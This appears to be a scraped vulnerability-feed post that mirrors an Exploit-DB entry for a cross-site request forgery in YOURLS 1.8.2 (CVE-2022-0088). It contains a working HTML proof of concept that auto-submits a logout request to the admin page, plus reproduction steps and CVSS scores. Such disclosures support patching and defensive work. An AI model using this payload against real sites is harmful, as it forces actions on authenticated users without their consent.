{“lastseen”:”2025-12-02T18:46:48″,”description”:”Exploit Title: YOURLS 1.8.2 – Cross-Site Request Forgery CSRF Date: 2025-11-25 Exploit Author: CodeSecLab Vendor Homepage: https:\/\/github.com\/yourls\/yourls\/ Software Link: https:\/\/github.com\/yourls\/yourls\/ Version: 1.8.2 Tested on: Windows CVE :…”,”published”:”2025-12-02T00:00:00″,”modified”:”2025-12-02T00:00:00″,”type”:”exploitdb”,”title”:”YOURLS 1.8.2 – Cross-Site Request Forgery (CSRF)”,”source”:””,”references”:””,”id”:”EDB-ID:52446″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2022-0088″],”sourceData”:”# Exploit Title: YOURLS 1.8.2 – Cross-Site Request Forgery (CSRF)\\r\\n# Date: 2025-11-25\\r\\n# Exploit Author: CodeSecLab\\r\\n# Vendor Homepage: https:\/\/github.com\/yourls\/yourls\/\\r\\n# Software Link: https:\/\/github.com\/yourls\/yourls\/\\r\\n# Version: 1.8.2 \\r\\n# Tested on: Windows\\r\\n# CVE : CVE-2022-0088\\r\\n\\r\\n\\r\\nProof Of Concept\\r\\n\\u003c!DOCTYPE html\\u003e\\r\\n\\u003chtml lang=\\”en\\”\\u003e\\r\\n\\u003chead\\u003e\\r\\n \\u003cmeta charset=\\”UTF-8\\”\\u003e\\r\\n \\u003cmeta http-equiv=\\”X-UA-Compatible\\” content=\\”IE=edge\\”\\u003e\\r\\n \\u003cmeta name=\\”viewport\\” content=\\”width=device-width, initial-scale=1.0\\”\\u003e\\r\\n \\u003ctitle\\u003eCSRF PoC\\u003c\/title\\u003e\\r\\n\\u003c\/head\\u003e\\r\\n\\u003cbody\\u003e\\r\\n \\u003ch1\\u003eCSRF Proof of Concept\\u003c\/h1\\u003e\\r\\n \\u003cform action=\\”http:\/\/yourls\/admin\/index.php\\” method=\\”GET\\”\\u003e\\r\\n \\u003cinput type=\\”hidden\\” name=\\”action\\” value=\\”logout\\”\\u003e\\r\\n \\u003cinput type=\\”submit\\” value=\\”Submit CSRF Request\\”\\u003e\\r\\n \\u003c\/form\\u003e\\r\\n \\u003cscript\\u003e\\r\\n document.forms[0].submit();\\r\\n \\u003c\/script\\u003e\\r\\n\\u003c\/body\\u003e\\r\\n\\u003c\/html\\u003e\\r\\n\\r\\nThis HTML page, when visited by an authenticated user of the vulnerable application, will automatically submit a request to log the user out without their consent, demonstrating the CSRF vulnerability.\\r\\n\\r\\n\\r\\nSteps to Reproduce\\r\\nSave the following code as poc.html.\\r\\nLog in yourls, and open the file in the same browser.\\r\\nObserve the result.”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52446″,”cvss”:{“score”:7.4,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:N\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:N\/AC:L\/PR:L\/UI:R\/S:U\/C:L\/I:N\/A:N”,”baseScore”:3.5,”baseSeverity”:”LOW”,”attackVector”:”NETWORK”,”attackComplexity”:”LOW”,”privilegesRequired”:”LOW”,”userInteraction”:”REQUIRED”,”scope”:”UNCHANGED”,”confidentialityImpact”:”LOW”,”integrityImpact”:”NONE”,”availabilityImpact”:”NONE”}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52446″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-02T18:46:48″,”description”:”Exploit Title: YOURLS 1.8.2 – Cross-Site Request Forgery CSRF Date: 2025-11-25 Exploit Author: CodeSecLab Vendor Homepage: https:\/\/github.com\/yourls\/yourls\/ Software Link: https:\/\/github.com\/yourls\/yourls\/ Version: 1.8.2 Tested on: Windows…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,29,12,40,15,13,7,11,5],"class_list":["post-28313","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-74","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n